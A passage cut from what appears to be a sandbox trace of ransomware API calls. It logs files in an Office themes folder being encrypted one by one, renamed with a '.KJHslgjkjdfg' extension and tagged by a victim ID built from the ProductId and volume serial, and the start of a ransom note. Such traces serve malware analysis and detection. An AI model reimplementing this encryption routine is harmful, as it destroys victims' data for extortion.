nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x690, lpOverlapped=0x0) returned 1 [0178.548] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.548] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.548] SetEndOfFile (hFile=0x12c) returned 1 [0178.551] GetProcessHeap () returned 0x990000 [0178.551] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.551] GetProcessHeap () returned 0x990000 [0178.551] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.552] CloseHandle (hObject=0x12c) returned 1 [0178.553] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0178.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.555] GetProcessHeap () returned 0x990000 [0178.555] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.555] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.555] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.555] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0178.557] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.557] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.557] GetProcessHeap () returned 0x990000 [0178.557] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.558] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.558] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.558] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.558] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.558] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.558] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.558] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.558] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.558] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.558] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.558] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.559] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbfed, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xbfed, lpOverlapped=0x0) returned 1 [0178.560] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbff0, dwBufLen=0xbff0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbff0) returned 1 [0178.561] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.561] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbff0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xbff0, lpOverlapped=0x0) returned 1 [0178.561] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.561] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xc0b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.561] SetEndOfFile (hFile=0x12c) returned 1 [0178.564] GetProcessHeap () returned 0x990000 [0178.564] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.564] GetProcessHeap () returned 0x990000 [0178.564] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.kjhslgjkjdfg")) returned 1 [0178.568] CloseHandle (hObject=0x12c) returned 1 [0178.568] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0178.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.570] GetProcessHeap () returned 0x990000 [0178.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.570] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.570] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.570] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0178.572] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.572] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.572] GetProcessHeap () returned 0x990000 [0178.572] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.572] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.572] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.572] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.572] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.572] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.572] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.573] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.573] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.573] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.573] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.573] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.573] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x242, lpOverlapped=0x0) returned 1 [0178.573] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250, dwBufLen=0x250 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250) returned 1 [0178.573] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.573] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x250, lpOverlapped=0x0) returned 1 [0178.573] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.573] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.573] SetEndOfFile (hFile=0x12c) returned 1 [0178.576] GetProcessHeap () returned 0x990000 [0178.576] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.576] GetProcessHeap () returned 0x990000 [0178.576] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.kjhslgjkjdfg")) returned 1 [0178.579] CloseHandle (hObject=0x12c) returned 1 [0178.579] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.579] GetProcessHeap () returned 0x990000 [0178.580] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.580] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.580] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.580] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.581] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.581] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.581] GetProcessHeap () returned 0x990000 [0178.581] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.582] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.582] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.582] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.582] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.582] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.582] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.582] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.582] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.582] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.582] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.582] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.582] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x47cc, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x47cc, lpOverlapped=0x0) returned 1 [0178.584] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x47d0, dwBufLen=0x47d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x47d0) returned 1 [0178.584] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.584] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x47d0, lpOverlapped=0x0) returned 1 [0178.584] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.584] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x48a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.584] SetEndOfFile (hFile=0x12c) returned 1 [0178.586] GetProcessHeap () returned 0x990000 [0178.586] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.586] GetProcessHeap () returned 0x990000 [0178.586] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.596] CloseHandle (hObject=0x12c) returned 1 [0178.596] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.596] GetProcessHeap () returned 0x990000 [0178.596] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.596] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.596] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.597] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.597] GetProcessHeap () returned 0x990000 [0178.597] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.597] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.597] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.597] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.597] GetProcessHeap () returned 0x990000 [0178.597] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.597] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.597] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.597] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.597] GetProcessHeap () returned 0x990000 [0178.597] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.597] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.597] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.597] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.597] GetProcessHeap () returned 0x990000 [0178.597] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.597] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.597] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.597] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.598] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.598] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.598] RegCloseKey (hKey=0x12c) returned 0x0 [0178.598] GetProcessHeap () returned 0x990000 [0178.598] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.598] GetProcessHeap () returned 0x990000 [0178.598] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.598] GetProcessHeap () returned 0x990000 [0178.598] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.598] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.598] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.598] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.598] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.598] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.599] GetProcessHeap () returned 0x990000 [0178.599] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.599] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.599] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.599] GetProcessHeap () returned 0x990000 [0178.599] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.599] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\readme-warning.txt") returned 81 [0178.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft 